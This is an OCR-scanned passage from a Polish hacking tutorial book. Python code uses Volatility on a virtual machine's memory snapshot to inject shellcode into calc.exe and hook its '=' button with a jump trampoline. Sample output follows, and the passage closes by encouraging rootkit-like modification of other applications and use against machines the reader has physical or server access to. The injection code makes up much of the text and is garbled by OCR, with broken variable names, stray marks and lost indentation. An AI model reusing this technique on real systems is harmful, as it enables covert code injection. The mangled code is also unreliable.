print "[*] Szukanie adreséw fizycznych...czekaj."

address_space = process.get_process_address_space()
pages = address_space.get_available_pages()

Najpierw tworzymy egzemplarz klasy PSList @, przekazujac biezaca konfi-
guracje. Modut PSList stuzy do przegladania wszystkich uruchomionych proce-
s6w wykrytych w obrazie pamieci. Iterujemy przez wszystkie procesy @ i gdy
znajdziemy proces calc.exe, pobieramy jego caly przestrzen adresows © oraz
wszystkie jego strony pamieci.

Teraz w stronach pamieci poszukamy wypehlionego zerami fragmentu o ta-
kim samym rozmiarze jak nasz kod powloki. Dodatkowo szukamy wirtualnego
adresu funkcji obstugujacej przycisk =, aby méc napisaé trampoline. Wpisz po-
nizszy kod, pamietajac o wcieciach.

for page in pages:
physical = address_space.vtop(page[0])
if physical is not None:
if sTack_space is None:
fd = open(memory file,"r+")
fd.seek(physical)
buf = fd.read(page[1])

try:
offset = buf.index("\x00" * len(sc))
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slack_space = page[0] + offset

print "[*] Znaleziono dobre miejsce na kod powfoki!"
print "[*] Adres wirtualny: 0x%08x" % slack_space

print "[*] Adres fizyczny: 0x%08x" % (physical + offset)
print "[*] Wstrzykiwanie kodu powtoki."

(4] fd.seek(physical + offset)
fd.write(sc)
fd. flush()

# utworzenie trampoliny
e tramp = "\xbb%s" % struct.pack("<L", page[0] + offset)
tramp += "\xff\xe3"

if trampoline_offset is not None:
break

except:
pass

fd.close()

# sprawdzenie lokalizacji miejsca docelowego na nasz kod
(6] if page[0] <= equals_button and equals_button < ((page[0] +
>page[1])-7):

# obliczenie adresu wirtualnego
(7] v_offset = equals_button - page[0]

# obliczenie adresu fizycznego
trampoline offset = physical + v_offset

print "[*] Znaleziono cel trampoliny pod adresem: 0x%08x" %
> (trampoline_offset)

if slack_space is not None:
break

print "[*] Zapisywanie trampoliny..."

(5] fd = open(memory file, "r+")
fd.seek(trampoline offset)
fd.write(tramp)
fd.close()

print "[*] Zakoficzono wstrzykiwanie kodu."
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W porzadku! Zobaczmy, co ten kod robi. Przegladajac po kolei strony, pro-
gram zwraca dwuelementowgy liste, gdzie page[0] to adres strony, a page[1] to
rozmiar strony w bajtach. Podczas przegladania kazdej ze stron pamieci naj-
pierw znajdujemy fizyczny adres (adres w obrazie pamieci RAM zapisanym na
dysku) @ tej strony. Nastepnie otwieramy obraz pamieci RAM @, szukamy
miejsca przechowywania tej strony i wezytujemy ja. P6Zniej szukamy zawieraja-
cego puste bajty fragmentu pamieci © o takim samym rozmiarze jak nasz kod
powloki. Jest to miejsce, w ktérym zapiszemy nasz kod @. Po znalezieniu od-
powiedniego miejsca i wstrzyknieciu kodu pobieramy jego adres i tworzymy
niewielki blok kodéw operacyjnych architektury x86 @. Kody te powoduja po-
wstanie nastepujacego kodu asemblera:

mov ebx, ADDRESS_OF SHELLCODE
jmp ebx

Pamietaj, ze mogliby§smy uzy¢ funkcji dezasemblacyjnych programu Volati-
lity, aby upewnié sie, ze dezasemblujemy dokladnie takg liczbe bajtow, jaka jest
potrzebna dla skoku, oraz przywrécié¢ wartosci tych bajtéw w swoim kodzie po-
wloki. Pozostawiam to jednak do zrobienia jako zadanie domowe.

Ostatnig czynno§cig naszego programu jest sprawdzenie, czy na biezacej
stronie znajduje sie funkcja obstugujaca przycisk = @. Jedli tak, obliczamy jej
miejsce @ i wpisujemy naszg, trampoline @. Teraz trampolina ta jest na swoim
miejscu i powinna przenosi¢ sterowanie do kodu powloki umieszczonego w ob-
razie pamieci RAM.

Czy to w ogdle dziata

Pierwsza czynnoscig jest zamkniecie programu Immunity Debugger i wszystkich
instancji kalkulatora. Nastepnie ponownie uruchom kalkulator i wykonaj skrypt
wstrzykujacy kod. Wynik powinien by¢ nastepujacy:

$ python code_inject.py

[*] Znaleziono calc.exe z PID 1936

[*] Szukanie adreséw fizycznych...czekaj.

[*] Znaleziono dobre miejsce na kod powtoki!

[*] Adres wirtualny: 0x00010817

[*] Adres fizyczny: 0x33155817

[*] Wstrzykiwanie kodu powtoki.

[*] Znaleziono cel trampoliny pod adresem: Ox3abccd51
[*] Zapisywanie trampoliny...

[*] Zakofczono wstrzykiwanie kodu.
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Pieknie! Skrypt powinien wyswietli¢ informacje, ze znalazl wszystkie miej-
sca i wstrzyknat kod powloki tam, gdzie trzeba. Aby go przetestowaé, wystarczy
przej$é do maszyny wirtualnej, wpisaé¢ dzialanie 3+3 i nacisna¢ przycisk =.
Powinno to spowodowaé wyswietlenie wiadomosci!

Teraz mozesz sprobowaé zmienié w podobny sposéb inne aplikacje lub
ustugi. Mozesz tez dodatkowo poszpera¢ w obiektach jadra, aby imitowaé dzia-
tanie rootkita. Jest to doskonaly sposéb na poznanie technik sledczych przez za-
bawe. Poza tym opisane w tym rozdziale metody doskonale sie sprawdzaja, gdy
ma sie fizyczny dostep do atakowanego komputera lub udalo sie dostaé na serwer
z wieloma maszynami wirtualnymi.
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